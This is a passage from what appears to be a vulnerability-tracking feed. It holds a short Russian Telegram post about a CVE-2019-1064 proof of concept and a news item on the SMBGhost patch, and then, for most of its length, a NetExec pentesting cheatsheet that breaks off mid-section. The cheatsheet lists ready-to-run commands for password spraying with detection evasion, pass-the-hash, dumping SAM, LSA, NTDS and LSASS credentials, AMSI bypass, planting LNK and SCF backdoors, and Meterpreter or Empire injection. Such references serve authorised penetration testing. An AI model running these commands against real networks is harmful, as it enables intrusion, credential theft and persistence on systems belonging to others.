\u043f\u043e CVE\n\n!poc CVE-2019-1064\n\n\ud83d\udcbb Home\n\n\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f Visual Studio \u0438 .NET Framework 4.8 Developer Pack\n\n#moriarty #checker #csharp\n\n\u2708\ufe0f Whitehat Lab", "creation_timestamp": "2026-08-04T13:00:24.013372Z"}, {"uuid": "42b38e4f-2d27-40e7-9735-eaa8e76911af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/hackersmeet0/1191", "content": "\u2716\ufe0fMicrosoft patches SMBv3\n\n wormable bug that leaked earlier this week\nEmergency out-of-band fix for CVE-2020-0796 is now rolling out to Windows 10 and Windows Server 2019 systems worldwide.", "creation_timestamp": "2026-08-02T14:23:32.807987Z"}, {"uuid": "9a2eaadd-b6c8-44b3-867b-c27ce5ebdf1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/Porkballs/df8b4b4e30522a04debf3644594d1535", "content": "# NXC (NetExec) Cheatsheet\n\nComplete reference for NetExec (NXC) - the network execution tool for pentesting\n\n> **Version Note**: This cheatsheet is based on the latest NetExec version. Always check `nxc  --help` and `nxc  -L` for your specific version.\n\n## Installation\n```bash\npipx install netexec\n# or\napt install netexec\n```\n\n## Basic Syntax\n\n`nxc   -u  -p  / -H  [flags] -M  -o `\n\n---\n\n## Protocols Overview\n\n- `smb` - SMB/CIFS (Port 445)\n- `ldap` - LDAP (Port 389/636)\n- `winrm` - WinRM (Port 5985/5986)\n- `ssh` - SSH (Port 22)\n- `rdp` - RDP (Port 3389)\n- `mssql` - Microsoft SQL Server (Port 1433)\n- `ftp` - FTP (Port 21)\n- `wmi` - WMI (Port 135)\n- `vnc` - VNC (Port 5900)\n- `nfs` - NFS (Port 111)\n\n---\n\n## Target Specification\n```bash\nnxc smb 192.168.1.10                    # Single host\nnxc smb 192.168.1.0/24                  # CIDR range\nnxc smb 192.168.1.1-100                 # Range\nnxc smb targets.txt                     # File with targets (one per line)\n```\n\n---\n\n## Password Spraying\n\n### Pattern: protocol targets.txt users.txt passwords.txt\n\n```bash\n# Domain authentication (default)\nnxc smb targets.txt -u users.txt -p passwords.txt -d DOMAIN\n\n# Local authentication\nnxc smb targets.txt -u users.txt -p passwords.txt --local-auth\n\n# Continue on success (don't stop after first valid)\nnxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success\n\n# Stop on first success per target\nnxc smb targets.txt -u users.txt -p passwords.txt --no-bruteforce\n\n# Single password spray (safer for avoiding lockouts)\nnxc smb targets.txt -u users.txt -p 'Password123!' -d DOMAIN --continue-on-success\n\n# With jitter to avoid detection\nnxc smb targets.txt -u users.txt -p passwords.txt --jitter 5\n\n# Fail limit options\nnxc smb targets.txt -u users.txt -p passwords.txt --gfail-limit 10     # Global fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3      # Per-user fail limit\nnxc smb targets.txt -u users.txt -p passwords.txt --fail-limit 5       # Per-host fail limit\n```\n\n---\n\n## No Authentication\n\n```bash\n# Null session (empty username)\nnxc smb 192.168.1.10 -u '' -p ''\n\n# Guest account\nnxc smb 192.168.1.10 -u 'guest' -p ''\n\n# Anonymous LDAP bind\nnxc ldap 192.168.1.10 -u '' -p ''\n\n# Enumerate without credentials\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt    # SMB signing check\n```\n\n---\n\n## Authentication Methods\n\n### Username and Password\n```bash\nnxc smb 192.168.1.10 -u admin -p 'password'\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN\nnxc smb 192.168.1.10 -u admin -p 'password' --local-auth\n```\n\n### Pass-the-Hash\n```bash\nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H \nnxc smb 192.168.1.10 -u admin -H  -d DOMAIN\n```\n\n### Kerberos Authentication\n```bash\n# With password\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k\n\n# Using cached ticket (ccache)\nnxc smb 192.168.1.10 -u admin --use-kcache -k\n\n# With AES key\nnxc smb 192.168.1.10 -u admin --aesKey  -k\n\n# Specify KDC\nnxc smb 192.168.1.10 -u admin -p 'password' -d DOMAIN -k --kdcHost dc01.domain.local\n```\n\n### Certificate Authentication\n```bash\n# PFX certificate\nnxc smb 192.168.1.10 --pfx-cert cert.pfx --pfx-pass password\n\n# PEM certificate\nnxc smb 192.168.1.10 --pem-cert cert.pem --pem-key key.pem\n```\n\n---\n\n## SMB Protocol (Port 445)\n\n### Basic Enumeration (No Auth)\n```bash\nnxc smb 192.168.1.0/24                              # Check SMB version, signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt  # Find relay targets\n```\n\n### Enumeration (With Auth)\n```bash\nnxc smb 192.168.1.10 -u user -p pass --shares              # List shares\nnxc smb 192.168.1.10 -u user -p pass --shares --filter-shares read,write  # Filter by access\nnxc smb 192.168.1.10 -u user -p pass --dir \"C$\"            # List directory contents\nnxc smb 192.168.1.10 -u user -p pass --users               # Enumerate users\nnxc smb 192.168.1.10 -u user -p pass --users --enabled     # Only enabled users\nnxc smb 192.168.1.10 -u user -p pass --users-export out.txt  # Export users to file\nnxc smb 192.168.1.10 -u user -p pass --groups              # Enumerate groups\nnxc smb 192.168.1.10 -u user -p pass --computers           # Enumerate computers\nnxc smb 192.168.1.10 -u user -p pass --local-groups        # Local groups\nnxc smb 192.168.1.10 -u user -p pass --pass-pol            # Password policy\nnxc smb 192.168.1.10 -u user -p pass --smb-sessions        # Active SMB sessions\nnxc smb 192.168.1.10 -u user -p pass --disks               # Enumerate disks\nnxc smb 192.168.1.10 -u user -p pass --interfaces          # Network interfaces\nnxc smb 192.168.1.10 -u user -p pass --loggedon-users      # Logged on users\nnxc smb 192.168.1.10 -u user -p pass --rid-brute           # RID cycling\nnxc smb 192.168.1.10 -u user -p pass --qwinsta             # RDP connections\nnxc smb 192.168.1.10 -u user -p pass --tasklist            # Running processes\n```\n\n### WMI Queries\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Process\"\nnxc smb 192.168.1.10 -u admin -p pass --wmi \"SELECT * FROM Win32_Service\" --wmi-namespace \"root\\cimv2\"\n```\n\n### Spidering Shares\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --spider C$\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --spider-folder Users\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --pattern password\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --regex \".*\\.txt$\"\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --content       # Search file content\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --depth 3       # Max recursion depth\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --only-files    # Files only\nnxc smb 192.168.1.10 -u admin -p pass --spider C$ --exclude-dirs Windows,System32\n```\n\n### Command Execution\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -x \"whoami\"                    # CMD\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable'           # PowerShell\nnxc smb 192.168.1.10 -u admin -p pass --exec-method smbexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method atexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method wmiexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --exec-method mmcexec -x \"whoami\"\nnxc smb 192.168.1.10 -u admin -p pass --no-output -x \"command\"       # Don't retrieve output\n```\n\n### PowerShell Options\n```bash\nnxc smb 192.168.1.10 -u admin -p pass -X '$PSVersionTable' --obfs          # Obfuscate\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --force-ps32            # Force 32-bit\nnxc smb 192.168.1.10 -u admin -p pass -X 'command' --no-encode             # Don't encode\nnxc smb 192.168.1.10 -u admin -p pass --clear-obfscripts                   # Clear cache\n```\n\n### File Operations\n```bash\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\Windows\\\\Temp\\\\file.txt\" ./local.txt\nnxc smb 192.168.1.10 -u admin -p pass --put-file ./payload.exe \"\\\\Windows\\\\Temp\\\\payload.exe\"\nnxc smb 192.168.1.10 -u admin -p pass --get-file \"\\\\file.txt\" ./out.txt --append-host\n```\n\n### Credential Dumping\n```bash\n# SAM Database\nnxc smb 192.168.1.10 -u admin -p pass --sam                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --sam secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --sam regdump                # Using regdump\n\n# LSA Secrets\nnxc smb 192.168.1.10 -u admin -p pass --lsa                        # Default method\nnxc smb 192.168.1.10 -u admin -p pass --lsa secdump                # Using secdump\nnxc smb 192.168.1.10 -u admin -p pass --lsa regdump                # Using regdump\n\n# NTDS (Domain Controller)\nnxc smb dc01.domain.local -u admin -p pass --ntds                  # Default (drsuapi)\nnxc smb dc01.domain.local -u admin -p pass --ntds vss              # Using VSS\nnxc smb dc01.domain.local -u admin -p pass --ntds drsuapi          # Using drsuapi\nnxc smb dc01.domain.local -u admin -p pass --ntds --user admin     # Specific user\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled        # Enabled accounts only\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi                      # Dump DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies              # Include cookies\nnxc smb 192.168.1.10 -u admin -p pass --dpapi nosystem             # Exclude SYSTEM\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --mkfile masterkeys.txt\nnxc smb 192.168.1.10 -u admin -p pass --dpapi --pvk backupkey.pvk\n\n# SCCM\nnxc smb 192.168.1.10 -u admin -p pass --sccm                       # Default (wmi)\nnxc smb 192.168.1.10 -u admin -p pass --sccm wmi                   # Using WMI\nnxc smb 192.168.1.10 -u admin -p pass --sccm disk                  # Using disk\n```\n\n### SMB Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\n# Vulnerability Checks\nnxc smb 192.168.1.10 -u user -p pass -M ms17-010                   # EternalBlue\nnxc smb 192.168.1.10 -u user -p pass -M zerologon                  # CVE-2020-1472\nnxc smb 192.168.1.10 -u user -p pass -M nopac                      # CVE-2021-42278/42287\nnxc smb 192.168.1.10 -u user -p pass -M printnightmare             # PrintNightmare\nnxc smb 192.168.1.10 -u user -p pass -M remove-mic                 # CVE-2019-1040\nnxc smb 192.168.1.10 -u user -p pass -M smbghost                   # CVE-2020-0796\nnxc smb 192.168.1.10 -u user -p pass -M coerce_plus                # Coercion vulns\nnxc smb 192.168.1.10 -u user -p pass -M timeroast                  # Timeroasting\n\n# Enumeration\nnxc smb 192.168.1.10 -u user -p pass -M enum_av                    # AV products\nnxc smb 192.168.1.10 -u user -p pass -M enum_ca                    # ADCS CAs\nnxc smb 192.168.1.10 -u user -p pass -M ioxidresolver              # Additional interfaces\nnxc smb 192.168.1.10 -u user -p pass -M spooler                    # Print spooler\nnxc smb 192.168.1.10 -u user -p pass -M webdav                     # WebClient service\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus                # Spider shares\nnxc smb 192.168.1.10 -u user -p pass -M spider_plus -o READ_ONLY=false\n\n# Password Hunting\nnxc smb 192.168.1.10 -u user -p pass -M gpp_password               # GPP passwords\nnxc smb 192.168.1.10 -u user -p pass -M gpp_autologin              # GPP autologin\n\n# Backdoors\nnxc smb 192.168.1.10 -u user -p pass -M drop-sc                    # Drop searchConnector\nnxc smb 192.168.1.10 -u user -p pass -M scuffy                     # Drop .scf files\nnxc smb 192.168.1.10 -u user -p pass -M slinky                     # Create LNK backdoors\n\n# Computer Management\nnxc smb 192.168.1.10 -u user -p pass -M add-computer               # Add/delete computer\nnxc smb 192.168.1.10 -u user -p pass -M backup_operator            # Backup operator exploit\n```\n\n#### HIGH PRIVILEGE MODULES (requires admin)\n```bash\n# Credential Dumping\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy                    # LSASS dump\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump                  # Alternative LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M procdump                  # Process dump\nnxc smb 192.168.1.10 -u admin -p pass -M handlekatz                # Handle dump\nnxc smb 192.168.1.10 -u admin -p pass -M dpapi_hash                # DPAPI masterkeys\nnxc smb 192.168.1.10 -u admin -p pass -M hash_spider               # Recursive LSASS\nnxc smb 192.168.1.10 -u admin -p pass -M ntdsutil                  # NTDS with ntdsutil\n\n# Application Credentials\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover          # Find KeePass\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_trigger           # KeePass trigger\nnxc smb 192.168.1.10 -u admin -p pass -M mobaxterm                 # MobaXterm creds\nnxc smb 192.168.1.10 -u admin -p pass -M mremoteng                 # mRemoteNG creds\nnxc smb 192.168.1.10 -u admin -p pass -M putty                     # PuTTY keys\nnxc smb 192.168.1.10 -u admin -p pass -M rdcman                    # RDCMan creds\nnxc smb 192.168.1.10 -u admin -p pass -M winscp                    # WinSCP creds\nnxc smb 192.168.1.10 -u admin -p pass -M vnc                       # VNC passwords\nnxc smb 192.168.1.10 -u admin -p pass -M wifi                      # WiFi passwords\nnxc smb 192.168.1.10 -u admin -p pass -M veeam                     # Veeam DB creds\nnxc smb 192.168.1.10 -u admin -p pass -M msol                      # Azure AD Connect\nnxc smb 192.168.1.10 -u admin -p pass -M teams_localdb             # Teams SSO cookie\nnxc smb 192.168.1.10 -u admin -p pass -M wam                       # Token Broker Cache\n\n# Enumeration\nnxc smb 192.168.1.10 -u admin -p pass -M enum_dns                  # DNS records (WMI)\nnxc smb 192.168.1.10 -u admin -p pass -M get_netconnections        # Network connections\nnxc smb 192.168.1.10 -u admin -p pass -M bitlocker                 # BitLocker status\nnxc smb 192.168.1.10 -u admin -p pass -M hyperv-host               # HyperV host\nnxc smb 192.168.1.10 -u admin -p pass -M iis                       # IIS app pool creds\nnxc smb 192.168.1.10 -u admin -p pass -M install_elevated          # AlwaysInstallElevated\nnxc smb 192.168.1.10 -u admin -p pass -M ntlmv1                    # NTLMv1 enabled\nnxc smb 192.168.1.10 -u admin -p pass -M runasppl                  # RunAsPPL status\nnxc smb 192.168.1.10 -u admin -p pass -M uac                       # UAC status\nnxc smb 192.168.1.10 -u admin -p pass -M wcc                       # Security config\nnxc smb 192.168.1.10 -u admin -p pass -M security-questions        # Security Q&A\n\n# File Operations\nnxc smb 192.168.1.10 -u admin -p pass -M notepad++                 # Unsaved files\nnxc smb 192.168.1.10 -u admin -p pass -M powershell_history        # PS history\nnxc smb 192.168.1.10 -u admin -p pass -M recent_files              # Recent files\nnxc smb 192.168.1.10 -u admin -p pass -M snipped                   # Snipping Tool\n\n# Persistence & Execution\nnxc smb 192.168.1.10 -u admin -p pass -M empire_exec               # Empire agent\nnxc smb 192.168.1.10 -u admin -p pass -M met_inject                # Meterpreter\nnxc smb 192.168.1.10 -u admin -p pass -M web_delivery              # Web delivery\nnxc smb 192.168.1.10 -u admin -p pass -M impersonate               # Token impersonation\nnxc smb 192.168.1.10 -u admin -p pass -M pi                        # Process injection\nnxc smb 192.168.1.10 -u admin -p pass -M schtask_as                # Scheduled task\n\n# Configuration Changes\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable      # Enable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=disable     # Disable RDP\nnxc smb 192.168.1.10 -u admin -p pass -M shadowrdp                 # Shadow RDP\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable  # Enable WDigest\nnxc smb 192.168.1.10 -u admin -p pass -M remote-uac                # Remote UAC\n\n# Registry Operations\nnxc smb 192.168.1.10 -u admin -p pass -M reg-query                 # Registry query\nnxc smb 192.168.1.10 -u admin -p pass -M reg-winlogon              # Winlogon creds\n\n# Utility\nnxc smb 192.168.1.10 -u admin -p pass -M test_connection           # Test connectivity\n```\n\n---\n\n## LDAP Protocol (Port 389/636)\n\n### Basic Enumeration\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users           # Enumerate all users\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users user123   # Specific user\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --users-export out.txt\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups          # Enumerate all groups\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --groups \"Domain Admins\"\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --computers       # Enumerate computers\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --dc-list         # List DCs\nnxc ldap 192.168.1.10 -u user -p pass -d DOMAIN --get-sid         # Get domain SID\n```\n\n### Advanced Queries\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --admin-count               # adminCount=1 users\nnxc ldap 192.168.1.10 -u user -p pass --trusted-for-delegation    # Trusted delegation\nnxc ldap 192.168.1.10 -u user -p pass --password-not-required     # Empty passwords allowed\nnxc ldap 192.168.1.10 -u user -p pass --active-users              # Active accounts only\nnxc ldap 192.168.1.10 -u user -p pass --find-delegation           # Delegation relationships\n\n# GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa                       # Enumerate GMSA\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-convert-id gmsa_name\nnxc ldap 192.168.1.10 -u user -p pass --gmsa-decrypt-lsa lsa_data\n\n# Custom LDAP Query\nnxc ldap 192.168.1.10 -u user -p pass --query \"(objectClass=user)\" \"cn,sAMAccountName\"\nnxc ldap 192.168.1.10 -u user -p pass --base-dn \"OU=Users,DC=domain,DC=local\"\n```\n\n### Kerberoasting & ASREPRoasting\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --kerberoasting output.txt\nnxc ldap 192.168.1.10 -u user -p pass --asreproast output.txt\n```\n\n### Bloodhound Collection\n```bash\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c All\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Default\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c DCOnly\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Session,LoggedOn\nnxc ldap 192.168.1.10 -u user -p pass --bloodhound -c Group,LocalAdmin,ACL\n```\n\n### LDAP Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc ldap 192.168.1.10 -u user -p pass -M adcs                      # Find ADCS/PKI\nnxc ldap 192.168.1.10 -u user -p pass -M daclread                  # Read DACLs\nnxc ldap 192.168.1.10 -u user -p pass -M enum_trusts               # Trust relationships\nnxc ldap 192.168.1.10 -u user -p pass -M find-computer             # Find computers\nnxc ldap 192.168.1.10 -u user -p pass -M get-desc-users            # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M get-network               # DNS records/IPs\nnxc ldap 192.168.1.10 -u user -p pass -M get-unixUserPassword      # Unix passwords\nnxc ldap 192.168.1.10 -u user -p pass -M get-userPassword          # User passwords\nnxc ldap 192.168.1.10 -u user -p pass -M groupmembership           # User group membership\nnxc ldap 192.168.1.10 -u user -p pass -M laps                      # LAPS passwords\nnxc ldap 192.168.1.10 -u user -p pass -M ldap-checker              # LDAP signing/binding\nnxc ldap 192.168.1.10 -u user -p pass -M maq                       # MachineAccountQuota\nnxc ldap 192.168.1.10 -u user -p pass -M obsolete                  # Obsolete OS\nnxc ldap 192.168.1.10 -u user -p pass -M pre2k                     # Pre-created accounts\nnxc ldap 192.168.1.10 -u user -p pass -M pso                       # Password policies\nnxc ldap 192.168.1.10 -u user -p pass -M sccm                      # SCCM infrastructure\nnxc ldap 192.168.1.10 -u user -p pass -M subnets                   # Sites and subnets\nnxc ldap 192.168.1.10 -u user -p pass -M user-desc                 # User descriptions\nnxc ldap 192.168.1.10 -u user -p pass -M whoami                    # Current user details\n```\n\n---\n\n## WinRM Protocol (Port 5985/5986)\n\n### Basic Usage\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -H \nnxc winrm 192.168.1.10 -u admin -p pass -d DOMAIN\nnxc winrm 192.168.1.10 -u admin -p pass --local-auth\nnxc winrm 192.168.1.10 -u admin -p pass --laps                     # LAPS auth\n```\n\n### Port Configuration\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985                # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5986                # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --port 5985 5986           # Both ports\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http         # HTTP only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto https        # HTTPS only\nnxc winrm 192.168.1.10 -u admin -p pass --check-proto http https   # Both protocols\nnxc winrm 192.168.1.10 -u admin -p pass --http-timeout 15          # Timeout\n```\n\n### Command Execution\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass -x \"whoami\"\nnxc winrm 192.168.1.10 -u admin -p pass -X '$PSVersionTable'\nnxc winrm 192.168.1.10 -u admin -p pass -x \"ipconfig /all\"\nnxc winrm 192.168.1.10 -u admin -p pass --no-output -x \"command\"\n```\n\n### Credential Dumping\n```bash\nnxc winrm 192.168.1.10 -u admin -p pass --sam                      # Dump SAM\nnxc winrm 192.168.1.10 -u admin -p pass --lsa                      # Dump LSA\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method cmd          # Using cmd\nnxc winrm 192.168.1.10 -u admin -p pass --dump-method powershell   # Using PowerShell\n```\n\n### WinRM Modules\n```bash\n# No modules available for WinRM protocol in current version\n```\n\n---\n\n## SSH Protocol (Port 22)\n\n### Authentication\n```bash\nnxc ssh 192.168.1.10 -u root -p password\nnxc ssh 192.168.1.10 -u root -p passwords.txt\nnxc ssh 192.168.1.10 -u root --key-file id_rsa\nnxc ssh 192.168.1.10 -u root --key-file id_rsa -p passphrase\nnxc ssh 192.168.1.10 -u users.txt -p passwords.txt\nnxc ssh 192.168.1.10 -u root -p pass --port 2222\nnxc ssh 192.168.1.10 -u root -p pass --ssh-timeout 20\n```\n\n### Command Execution\n```bash\nnxc ssh 192.168.1.10 -u root -p pass -x \"cat /etc/passwd\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"uname -a\"\nnxc ssh 192.168.1.10 -u root -p pass -x \"id\"\nnxc ssh 192.168.1.10 -u root -p pass --no-output -x \"command\"\n```\n\n### Sudo Operations\n```bash\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check                  # Check sudo privs\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method sudo-stdin\nnxc ssh 192.168.1.10 -u user -p pass --sudo-check-method mkfifo\nnxc ssh 192.168.1.10 -u user -p pass --get-output-tries 10\n```\n\n### File Operations\n```bash\nnxc ssh 192.168.1.10 -u root -p pass --put-file local.txt /tmp/remote.txt\nnxc ssh 192.168.1.10 -u root -p pass --get-file /etc/passwd ./passwd.txt\n```\n\n### SSH Modules\n```bash\n# No modules available for SSH protocol in current version\n```\n\n---\n\n## RDP Protocol (Port 3389)\n\n### Check Access\n```bash\nnxc rdp 192.168.1.10 -u admin -p password\nnxc rdp 192.168.1.10 -u admin -H \nnxc rdp 192.168.1.10 -u users.txt -p passwords.txt -d DOMAIN\nnxc rdp 192.168.1.10 -u admin -p pass --local-auth\nnxc rdp 192.168.1.10 -u admin -p pass --port 3390\nnxc rdp 192.168.1.10 -u admin -p pass --rdp-timeout 10\n```\n\n### Screenshots\n```bash\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --screentime 10\nnxc rdp 192.168.1.10 -u admin -p pass --screenshot --res 1920x1080\nnxc rdp 192.168.1.10 -u admin -p pass --nla-screenshot             # If NLA disabled\n```\n\n### RDP Modules\n```bash\n# No modules available for RDP protocol in current version\n```\n\n---\n\n## MSSQL Protocol (Port 1433)\n\n### Authentication\n```bash\nnxc mssql 192.168.1.10 -u sa -p password\nnxc mssql 192.168.1.10 -u sa -p password --local-auth\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN\nnxc mssql 192.168.1.10 -u user -p pass -d DOMAIN -k              # Kerberos\nnxc mssql 192.168.1.10 -u sa -H \nnxc mssql 192.168.1.10 -u sa -p pass --port 1434\nnxc mssql 192.168.1.10 -u sa -p pass --mssql-timeout 10\n```\n\n### Queries\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT @@version\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.databases\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"SELECT name FROM sys.server_principals\"\nnxc mssql 192.168.1.10 -u sa -p pass -q \"EXEC sp_helprotect\"\n```\n\n### Command Execution\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -x \"whoami\"                 # via xp_cmdshell\nnxc mssql 192.168.1.10 -u sa -p pass -X 'Get-Host'               # PowerShell\nnxc mssql 192.168.1.10 -u sa -p pass --no-output -x \"command\"\n```\n\n### PowerShell Options\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --force-ps32\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --obfs\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --amsi-bypass bypass.ps1\nnxc mssql 192.168.1.10 -u sa -p pass -X 'command' --no-encode\nnxc mssql 192.168.1.10 -u sa -p pass --clear-obfscripts\n```\n\n### File Operations\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --put-file local.txt C:\\\\Temp\\\\remote.txt\nnxc mssql 192.168.1.10 -u sa -p pass --get-file C:\\\\Temp\\\\file.txt ./local.txt\n```\n\n### Enumeration\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute                  # RID bruteforce\nnxc mssql 192.168.1.10 -u sa -p pass --rid-brute 5000\n```\n\n### MSSQL Modules\n\n#### LOW PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u user -p pass -M enum_impersonate        # Impersonation privs\nnxc mssql 192.168.1.10 -u user -p pass -M enum_logins             # SQL logins\nnxc mssql 192.168.1.10 -u user -p pass -M exec_on_link            # Execute on linked server\nnxc mssql 192.168.1.10 -u user -p pass -M link_enable_xp          # Enable xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M link_xpcmd              # Run xp_cmdshell on link\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_coerce            # Execute arbitrary SQL\nnxc mssql 192.168.1.10 -u user -p pass -M mssql_priv              # Enumerate/exploit privs\n```\n\n#### HIGH PRIVILEGE MODULES\n```bash\nnxc mssql 192.168.1.10 -u sa -p pass -M empire_exec               # Empire agent\nnxc mssql 192.168.1.10 -u sa -p pass -M enum_links                # Enumerate linked servers\nnxc mssql 192.168.1.10 -u sa -p pass -M met_inject                # Meterpreter injection\nnxc mssql 192.168.1.10 -u sa -p pass -M nanodump                  # LSASS dump\nnxc mssql 192.168.1.10 -u sa -p pass -M test_connection           # Test connectivity\nnxc mssql 192.168.1.10 -u sa -p pass -M web_delivery              # Web delivery\n```\n\n---\n\n## FTP Protocol (Port 21)\n\n### Authentication\n```bash\nnxc ftp 192.168.1.10 -u admin -p password\nnxc ftp 192.168.1.10 -u anonymous -p ''\nnxc ftp 192.168.1.10 -u users.txt -p passwords.txt\nnxc ftp 192.168.1.10 -u admin -p pass --port 2121\n```\n\n### File Operations\n```bash\nnxc ftp 192.168.1.10 -u admin -p pass --ls                        # List root\nnxc ftp 192.168.1.10 -u admin -p pass --ls /var/www\nnxc ftp 192.168.1.10 -u admin -p pass --get file.txt\nnxc ftp 192.168.1.10 -u admin -p pass --put local.txt remote.txt\n```\n\n### FTP Modules\n```bash\n# No modules available for FTP protocol in current version\n```\n\n---\n\n## VNC Protocol (Port 5900)\n\n### Authentication\n```bash\nnxc vnc 192.168.1.10 -u admin -p password\nnxc vnc 192.168.1.10 -u admin -p passwords.txt\nnxc vnc 192.168.1.10 -u admin -p pass --port 5901\nnxc vnc 192.168.1.10 -u admin -p pass --vnc-sleep 5               # Rate limiting\n```\n\n### Screenshot\n```bash\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot\nnxc vnc 192.168.1.10 -u admin -p pass --screenshot --screentime 5\n```\n\n### VNC Modules\n```bash\n# No modules available for VNC protocol in current version\n```\n\n---\n\n## NFS Protocol (Port 111)\n\n### Enumeration\n```bash\nnxc nfs 192.168.1.10                                               # Basic enumeration\nnxc nfs 192.168.1.10 --shares                                      # List shares\nnxc nfs 192.168.1.10 --enum-shares                                 # Enumerate shares (depth 3)\nnxc nfs 192.168.1.10 --enum-shares 5                               # Custom depth\nnxc nfs 192.168.1.10 --port 2049\nnxc nfs 192.168.1.10 --nfs-timeout 10\n```\n\n### Share Operations\n```bash\nnxc nfs 192.168.1.10 --share /export --ls                          # List share root\nnxc nfs 192.168.1.10 --share /export --ls /path/to/dir\nnxc nfs 192.168.1.10 --share /export --get-file remote.txt local.txt\nnxc nfs 192.168.1.10 --share /export --put-file local.txt remote.txt\n```\n\n### NFS Modules\n```bash\n# No modules available for NFS protocol in current version\n```\n\n---\n\n## WMI Protocol (Port 135)\n\n### Basic Usage\n```bash\nnxc wmi 192.168.1.10 -u admin -p password\nnxc wmi 192.168.1.10 -u admin -H \nnxc wmi 192.168.1.10 